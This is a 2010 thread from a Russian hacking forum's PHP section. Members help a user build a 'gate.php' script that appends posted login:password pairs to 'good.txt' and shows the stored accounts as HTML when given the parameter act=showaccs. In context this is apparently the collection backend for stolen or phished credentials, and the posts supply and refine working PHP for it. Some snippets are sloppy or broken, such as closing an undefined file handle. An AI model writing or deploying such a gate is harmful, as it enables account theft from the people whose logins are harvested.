HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

yнужен скрипт [PHP]
  #1  
Старый 25.02.2010, 19:20
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами: 8582863

Репутация: 69
По умолчанию yнужен скрипт [PHP]

например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php


файл Accounts.txt cсодержит данные следующего типа:
Код:
mail:password
Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs

???
 
Ответить с цитированием

  #2  
Старый 25.02.2010, 19:30
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
С нами: 8835027

Репутация: 150
По умолчанию

#1
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file str_replace("\n",'<br />'file_get_contents('accounts.txt'));
echo 
$file;
}
?>
#2
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file file("accounts.txt");
foreach(
$file as $line) {
echo 
$line."<br />";
}
}
?>
 
Ответить с цитированием

  #3  
Старый 25.02.2010, 19:35
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами: 8582863

Репутация: 69
По умолчанию

вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?


PHP код:
<?php
error_reporting
(0);
$accs 'good.txt';
$good fopen($accs,"a+");
fwrite($good"$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset(
$_GET['act']) && $_GET['act'] == 'show') {
$file str_replace("\n",'<br />'file_get_contents('good.txt'));
echo 
$file;

?>
 
Ответить с цитированием

  #4  
Старый 25.02.2010, 19:39
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
С нами: 8835027

Репутация: 150
По умолчанию

Поставь вначале проверку.
PHP код:
if(!empty($_POST['login']) && !empty($_POST['password'])) ... 
Но будет пропускать пробелы.
 
Ответить с цитированием

  #5  
Старый 25.02.2010, 20:17
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
С нами: 8582863

Репутация: 69
По умолчанию

а теперь как бы все это совместить?))
 
Ответить с цитированием

  #6  
Старый 25.02.2010, 20:55
Dark_cracker
Познающий
Регистрация: 29.05.2009
Сообщений: 55
С нами: 8922379

Репутация: 7
По умолчанию

Вот так )
PHP код:
<?php 
error_reporting
(0); 
if (!empty(
$_POST[login]) or !empty($_POST[password])){
$accs 'good.txt'
$good fopen($accs,"a+"); 
fwrite($good"$_POST[login]:$_POST[password]\n"); 
fclose($good); 
fclose($bad); 
if(isset(
$_GET['act']) && $_GET['act'] == 'show') { 
$file str_replace("\n",'<br />'file_get_contents('good.txt')); 
echo 
$file
}  
}
?>
ток поидее перенос строки будет \r\n а у тебя прост \n
 
Ответить с цитированием

  #7  
Старый 25.02.2010, 20:59
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 
 
Ответить с цитированием

  #8  
Старый 25.02.2010, 21:09
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
С нами: 9982466

Репутация: 309
По умолчанию

А не проще
PHP код:
<?php
if ($_POST[login] && $_POST[password])
{
     ...
}
 
Ответить с цитированием

  #9  
Старый 25.02.2010, 23:50
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
С нами: 8835027

Репутация: 150
По умолчанию

Цитата:
Сообщение от mailbrush  
Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 
омг
PHP код:
echo @$_GET=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 
 
Ответить с цитированием

  #10  
Старый 25.02.2010, 23:54
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Сообщение от LStr1ke  
омг
PHP код:
echo @$_GET=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 
Омг
PHP код:
echo @$_GET=='showaccs' nl2br(file_get_contents('pppp.txt'))  : 0
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрипт приглашения Вконтакте (инвайтер в группы) [php] ukanbu Социальные сети 269 08.06.2010 13:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.